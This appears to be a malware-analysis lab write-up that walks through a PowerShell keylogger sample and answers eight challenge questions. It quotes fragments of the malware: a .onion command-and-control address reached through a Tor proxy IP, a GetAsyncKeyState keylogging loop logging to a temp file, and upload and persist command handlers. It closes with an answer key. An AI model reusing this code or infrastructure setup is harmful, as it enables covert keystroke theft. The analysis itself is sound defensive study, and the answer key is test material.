PowerShell Keylogger

Description

You are a malware analyst investigating a suspected PowerShell malware sample. The malware is designed to establish a connection with a remote server, execute various commands, and potentially exfiltrate data. Your goal is to analyze the malware's functionality and determine its capabilities.

Research Objectives

1. What is the proxy port used by the script?

2. What function-method is used for starting keylogging?

3. What is the name of the file used by script to store the keylog data?

4. What command is used by the script to achieve persistence?

5. What is the command used by the script to upload data?

6. What is the regex used by the script top filter IP addresses

7. What is the DLL imported by the script to call keylogging APIs?

8. How many seconds does the script wait before re-established a connection?

Walkthrough

File hashsum

Firstly, need to get hash of the malware sample. And you too, if you want to examine sample closely through VirusTotal, AnyRun or, exctactly, `download` it from the Bazaar.

- powershell.exe `Get-FileHash .\filename.extension`
  Here it is:
  `SHA256 181FE99C16FA6CC87A3161BC08A9E2DBD17531C7D713B09D8567C1B3DEBE121F`

Code overview

We have a powershell-based instruction structure.
The code is represented by typical pewershell code-implement construction, include all needed segments, such as `param`, `Add-Type -TypeDefinition`, `functions`

Let's examine this keylogger to search the goals

In `param` section we can see server address, represented by onion-domen, his port and same info about proxy

```
param (
    [string]$serverAddress = "opioem3zmp3bgx3qjqkh6vimkdoerrwh3uhawklm5ndv5e7k3t4edbqd.onion",
    [int]$serverPort = 9999,
    [string]$proxyAddress = "37.143.129.165",
    [int]$proxyPort = 9050
)
```

And that is the goal #1 - `9050`
Following the code flow, we can see any suspicious functions:

```
function Get-SystemInfo {
    $info = @{
        "os" = [System.Environment]::OSVersion.ToString()
        "hostname" = [System.Environment]::MachineName
        "username" = [System.Environment]::UserName
        "ip" = (Get-NetIPAddress | Where-Object { $_.AddressFamily -eq "IPv4" -and $_.IPAddress -notmatch "^(127\.|169
    }
    return $info | ConvertTo-Json -Compress
}

$global:keylogger_active = $false
$global:captured_keys = ""

function Start-Keylogger {
    $global:keylogger_active = $true
    $global:captured_keys = ""
```

Well, we find a keylog-start function, which is the goal #2 - `Start-Keylogger`
And, in `Get-SystemInfo` we can examine IP filtration rule: `^(127\.|169\.254\.)`

```
$job = Start-Job -ScriptBlock {
    param($API)

    try {
        while ($true) {
            Start-Sleep -Milliseconds 40

            for ($ascii = 9; $ascii -le 254; $ascii++) {
                $state = $API::GetAsyncKeyState($ascii)

                if ($state -eq -32767) {
                    $null = [console]::CapsLock

                    $virtualKey = $API::MapVirtualKey($ascii, 3)

                    $kbstate = New-Object Byte[] 256
                    $checkkbstate = $API::GetKeyboardState($kbstate)

                    $mychar = New-Object -TypeName System.Text.StringBuilder

                    $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar

                    if ($success) {
                        [System.IO.File]::AppendAllText("$env:temp\keylog.txt", $mych
                    }
                }
            }
        }
    }
    finally {
        [System.IO.File]::AppendAllText("$env:temp\keylog.txt", "`r`n[Stopped]`r`n",
    }
```

Follow the code flow, we also can examine all keylog job function and resume that the keylog data will be stored in `temp\keylog.txt`

And, the file with data will be uploaded by the same command: `upload`

```
}
elseif ($command.StartsWith("upload:")) {
    $parts = $command.Split(":")
    $filePath = $parts[1]
    $fileData = $parts[2]
    [System.IO.File]::WriteAllBytes($filePath, [Convert]::FromBase64String($fileData))
    $writer.WriteLine("File uploaded successfully")
}
```

Persistence achieved by powershell command `persist`

```
elseif ($command -eq "persist") {
    # Implémentez la logique de persistance ici si nécessaire
    $writer.WriteLine("Persistence mechanism is managed separately")
}
```

Also we can see the connection establish function and timeout for re-establish is `60 seconds`

```
while ($true) {
    try {
        Establish-Connection -ip $serverAddress -port $serverPort -proxyIp $proxyAddress -proxyPort $proxyPort
    }
    catch {
        Write-Error "Fatal error: $_"
        Start-Sleep -Seconds 60  # Attendre avant de redémarrer complètement
    }
}
```

All function for keylog stored in user32.dll - we can check it by the ms docs

Let's summarize all

1. `9050`
2. `Start-Keylogger`
3. `keylog.txt`
4. `persist`
5. `upload:`
6. `^(127\.|169\.254\.)`
7. `user32.dll`
8. `60`